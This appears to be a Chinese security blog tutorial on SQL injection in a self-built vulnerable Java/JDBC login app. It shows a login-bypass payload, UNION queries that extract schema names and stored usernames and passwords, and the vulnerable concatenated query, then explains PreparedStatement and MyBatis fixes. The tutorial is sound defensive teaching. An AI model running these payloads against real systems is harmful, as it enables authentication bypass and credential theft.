🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、什么是SQL注入?
- 1、SQL注入
- 2、简单来说
- 3、SQL注入危害
- 4、SQL注入防御
- 二、案例
- 1、环境搭建
- 2、工具扫描
- 3、黑盒测试发现存在SQL注入
- 1、查看登录逻辑
- 2、测试注入语句
- 4、白盒测试发现存在SQL注入
- 1、点击登录发了一个login请求
- 2、找到了LoginServlet
- 3、找到service层的这个login方法
- 4、找到dao层的这个login方法
- 5、执行的SQL语句
- 1、正确账号密码
- 2、输入万能密码
- 6、SQL注入获取数据
- 1、SQL语句获取数据
- 1. 获得当前使用的数据库库名
- 2. 获得所有的数据库库名
- 3. 获得表名
- 4. 获得列名
- 5. 获取表数据
- 2、SQL注入获取数据
- 1. 获得当前使用的数据库库名
- 2. 获得表名
- 3. 获得列名
- 4. 获取表数据
- 7、修复
- 1、修复过程
- 2、修复结果
- 三、SQL注入如何防止?
- 1、防御措施
- 2.JDBC防止SQL注入
- 4.4.1 拼接原理
- 4.4.2 在JDBC里面提供了一个解决方案
- 3.防御(like和in很容易出现注入漏洞)
- 1. 原因
- 2. 解决办法
- 3. 当预处理遇到 like (模糊)
- 4. 当预处理遇到 in (一般接数字)
- 4、第三方框架防SQL注入-Mybatis防注入
- 1.简单预编译防护
- 2.like防注入
- 3.in防注入
- 四、相关资源
一、什么是SQL注入?
1、SQL注入
是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程 序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以 此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2、简单来说
使用某些手段,在原来的SQL语句基础上,添加了一段SQL并执行。从而达到某一些不 被管理员允许的目的。
3、SQL注入危害
一般使用SQL注入,主要是拿数据库里面的数据,所以会导致数据泄露。
4、SQL注入防御
现在使用的最多也最有效的就是预编译功能防止SQL注入。
二、案例
前面我们提交到了SQL注入会造成数据泄露,那他会泄露些什么,又是怎么泄露的呢,我们慢慢往下看。
1、环境搭建
这里我搭建了一个环境存在SQL注入的环境。由于重点是代码审计,建议大家搭建环境自己操作一遍。
源代码下载链接:https://download.csdn.net/download/qq_51577576/87346584
Eclipse下载链接:https://download.csdn.net/download/qq_51577576/87346579
Tomcat下载链接:https://download.csdn.net/download/qq_51577576/87346570
2、工具扫描
使用 fortify 扫描,发现源代码中存在一个SQL注入.
3、黑盒测试发现存在SQL注入
1、查看登录逻辑
打开登录页面,简单看一下他的登录逻辑
1、输入正确账号密码,跳转到图书信息列表页面
2、输入错误密码提示,用户名或者密码错误
2、测试注入语句
这里我们输入一个万能密码试一下
' or 1=1 #
点击登录发现登录成功,怎么登陆页面存在SQL注入
4、白盒测试发现存在SQL注入
白盒就是看源代码
1、点击登录发了一个login请求
1、点击登录,我们会发现,其实点击登录之后,会去请求login页面,我们根据源代码一步步进行追踪。
2、我们尝试找一下这个login。
3、因为这是页面上的请求,所以我们需要去找servlet,应该在servlet的controller里面。
2、找到了LoginServlet
1、我们在LoginServlet里面找到了这个login。
2、我们查看这个LoginServlet代码,发现首先拿到了用户名和密码,然后调用了service层的login方法。
3、那么接下来我们就需要去寻找service层的login方法。
3、找到service层的这个login方法
我们找到service层的login方法,发现这个login方法没有啥操作,直接调用了dao层的login方法,那接下来我们就需要去dao层。
4、找到dao层的这个login方法
我们发现这个daoc层的login方法采用了JDBC连接数据库的方法去连接数据库。
它执行的SQL语句是:
SELECT * from userinfo WHERE userName= '"+uname+" 'and userPass= '"+upass+"'
其实就是拿着这个用户名密码到schooldb里面userinfo表去进行匹配。
匹配的上就跳转,匹配不上就提示错误(LoginServlet执行)。大概就是这么一个逻辑。
5、执行的SQL语句
我们来详细的看一下这个SQL语句,为什么输入正确的密码能登陆成功,为什么输入错误密码登陆不成功,为什么输入万能密码登陆成功。
SELECT * from userinfo WHERE userName= '"+uname+" 'and userPass= '"+upass+"'
1、正确账号密码
根据SQL语句的逻辑,其实输入正确账号密码之后执行的SQL语句就是下面这个。账号密码都是admin。
SELECT * from userinfo WHERE userName= 'admin'and userPass= 'admin'
我们在数据库里面执行以下这条SQL语句。
发现找到一条 admin:admin 的数据,能查到结果,证明在 dao 层 login 方法进行匹配时匹配成功了,所以在 LoginServlet 方法种进行了跳转,所以登录成功。
那么输入错误的账号密码就是在数据库种找不到输入的账号密码,就是是在dao层login方法种匹配不成功,也就会在 LoginServlet 种进行错误提示,也就登录不成功。
2、输入万能密码
同样的,我们看输入万能密码之后的SQL语句如下。
SELECT * from userinfo WHERE userName= ' 'or 1=1 #'and userPass= 'admin'
发现也能查到结果,所以也能登录成功
'or 1=1 #
'先闭合前面的,or 1=1恒成立,一定是真,所以它会查询所有的账号密码,#注释后面的内容,后面的内容不会执行。
我们就可以执行任意恶意的SQL语句,去获取数据库中的数据。
6、SQL注入获取数据
1、SQL语句获取数据
1. 获得当前使用的数据库库名
SELECT DATABASE();
2. 获得所有的数据库库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
3. 获得表名
SELECT * from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb'
4. 获得列名
SELECT * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo'
5. 获取表数据
SELECT userID,userName,userPass from userinfo
2、SQL注入获取数据
1. 获得当前使用的数据库库名
SELECT DATABASE();
SELECT * from userinfo WHERE userName= '' union SELECT 1,DATABASE(),2 # and userPass= ''
2. 获得表名
SELECT * from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb'
SELECT * from userinfo WHERE userName= '' union SELECT 1,GROUP_CONCAT(table_Name),2 from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb' # and userPass= ''
3. 获得列名
SELECT * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo'
SELECT * from userinfo WHERE userName= '' union SELECT 1,GROUP_CONCAT(column_name) ,2 from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo' #and userPass= ''
4. 获取表数据
SELECT userID,userName,userPass from userinfo
SELECT * from userinfo WHERE userName= '' union SELECT userID,userName,userpass FROM userinfo #and userPass= ''
7、修复
1、修复过程
这里我们采用的是JDBC自带的预编译功能呢。这里只展示修复过程,详解看下一个部分。
String sql="SELECT * from userinfo WHERE userName= ? and userPass= ?";
PreparedStatement ps=conn.prepareStatement(sql);
ps.setString(1, uname);
ps.setString(2, upass);
2、修复结果
同样的输入注入语句,提示用户名或密码错误
三、SQL注入如何防止?
1、防御措施
1、预编译
2、内容过滤
3、引号转义(转义)
4、错误信息(报错注入)
5、数据库权限(严格的权限控制,你只能干什么)
6、数据加密(拿到数据解不了密)
7、应用防火墙(WAF)
2.JDBC防止SQL注入
4.4.1 拼接原理
SQL注入到底是怎么发生的,为什么他能拼接我的SQL注入,以及在代码层次如何防御
变量和SQL语句通过+连接,这个uname可以是任何的字符串,当然也可以是SQL语句,我们怎么解决这个问题呢
4.4.2 在JDBC里面提供了一个解决方案
在处理SQL语句的时候我们不能使用Statement这个对象,这个对象会原封不动的执行SQL语句
而要使用PreparedStatement这个对象,他会预编译之后才去执行
SELECT * from userinfo WHERE userName= '?'and userPass= '?'
不管你传进来的什么值我一直把你当字符串,就直接限定了这么查询,以及两个变量值
3.防御(like和in很容易出现注入漏洞)
1. 原因
Statment不能防止sql注入
“+”号直接拼接参数(要溯源对参数进行过滤)
2. 解决办法
PreparedStatement预处理
3. 当预处理遇到 like (模糊)
不正确写法
预处理遇到like—正确处理方法
4. 当预处理遇到 in (一般接数字)
不正确写法
正确写法
先把数字变成字符串数组,在变成一个个的?
4、第三方框架防SQL注入-Mybatis防注入
在实际开发中很少用到这种JDBC的代码,更多的会使用JDBC的代码,向Mybatis就是很常见的,这次先讲这个,下次将一个maven的项目。
1.简单预编译防护
${}直接拼接,存在漏洞
#{} 预编译
2.like防注入
Mysql:
select * from t_user where name like concat('%', #{name}, '%')
Oracle:
select * from t_user where name like '%' | | #{name} | | '%'
Sql Server:
select * from t_user where name like '%' + #{name} + '%'
3.in防注入
<if test="paramBrands != null" >•and brand.brand_id in <foreach collection="paramBrands" item="perBrand" open="(" close=")" separator=","> # {perBrand.brandId}</foreach></if>
四、相关资源
1、源代码下载链接
2、Eclipse下载链接
3、Tomcat下载链接
4、[ 代码审计篇 ] Fortify 安装及使用详解(一)
5、DBeaver数据库下载